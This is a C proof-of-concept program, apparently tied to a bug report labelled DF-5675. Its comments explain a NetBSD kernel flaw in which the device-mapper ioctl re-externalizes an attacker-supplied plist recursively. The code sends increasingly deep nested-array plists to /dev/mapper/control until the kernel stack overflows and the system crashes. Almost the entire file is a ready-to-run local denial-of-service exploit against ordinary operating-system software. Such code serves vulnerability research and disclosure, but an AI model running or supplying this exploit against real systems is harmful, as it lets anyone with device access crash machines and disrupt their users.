DF-5675 / df5675_dmcrash.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 | /* * DF-5675 — kernel trigger. * * Recursive prop externalize vs. iterative internalize -> kernel thread * stack (16KB, UPAGES=4) overflow, via the device-mapper ioctl that * internalizes the attacker plist and then unconditionally externalizes * THE SAME object back out (device-mapper.c dmioctl: copyin_ioctl -> * copyout_ioctl(dm_dict_in)). * * The XML is a perfectly valid plist: <dict><key>a</key><array>...nested * ...<true/></array>...</dict>. Internalize is ITERATIVE (prop_stack) * so any depth parses fine. Externalize is RECURSIVE * (_prop_array_externalize -> pot_extern -> _prop_array_externalize ...) * so each nesting level burns a kernel stack frame until the 16KB kstack * is exhausted. * * usage: df5675_dmcrash [depth] * depth ladder mode is built in: 32,64,96,128,160,192,256,512,1024,2048 * prints each depth + fflush BEFORE the ioctl so the serial log shows * exactly which depth killed the kernel. */ #include <sys/types.h> #include <sys/ioctl.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> struct plistref { /* mirror of sys/libprop/plistref.h */ void *pref_plist; size_t pref_len; }; #define DM_IOCTL 0xfd #define NETBSD_DM_IOCTL _IOWR(DM_IOCTL, 0, struct plistref) static char * build_deep_plist(int depth, size_t *lenp) { size_t cap = (size_t)depth * 32 + 4096; char *xml = malloc(cap); size_t off = 0; int i; if (xml == NULL) abort(); off += sprintf(xml + off, "<plist version=\"1.0\"><dict><key>a</key>"); for (i = 0; i < depth; i++) off += sprintf(xml + off, "<array>"); off += sprintf(xml + off, "<true/>"); for (i = 0; i < depth; i++) off += sprintf(xml + off, "</array>"); off += sprintf(xml + off, "</dict></plist>"); *lenp = off; return (xml); } int main(int argc, char **argv) { struct plistref pref; size_t len; char *xml; int fd, i; int ladder[] = { 32, 64, 96, 128, 160, 192, 256, 512, 1024, 2048 }; int nladder = sizeof(ladder) / sizeof(ladder[0]); fd = open("/dev/mapper/control", O_RDWR); if (fd < 0) { perror("open /dev/mapper/control"); return (1); } if (argc > 1) { /* single depth mode */ int depth = atoi(argv[1]); xml = build_deep_plist(depth, &len); pref.pref_plist = xml; pref.pref_len = len; fprintf(stderr, "DF5675: depth=%d len=%zu ... ioctl\n", depth, len); fflush(stderr); if (ioctl(fd, NETBSD_DM_IOCTL, &pref) < 0) perror("ioctl"); fprintf(stderr, "DF5675: ioctl returned errno=%d " "(kernel survived depth=%d)\n", errno, depth); return (0); } for (i = 0; i < nladder; i++) { /* ladder mode: find the cliff */ xml = build_deep_plist(ladder[i], &len); pref.pref_plist = xml; pref.pref_len = len; fprintf(stderr, "DF5675: depth=%d len=%zu ... ioctl\n", ladder[i], len); fflush(stderr); errno = 0; if (ioctl(fd, NETBSD_DM_IOCTL, &pref) < 0 && errno) fprintf(stderr, " ioctl errno=%d\n", errno); else fprintf(stderr, " ok (echoed back, pref_len=%zu)\n", pref.pref_len); fflush(stderr); free(xml); } fprintf(stderr, "DF5675: kernel survived the whole ladder\n"); return (0); } |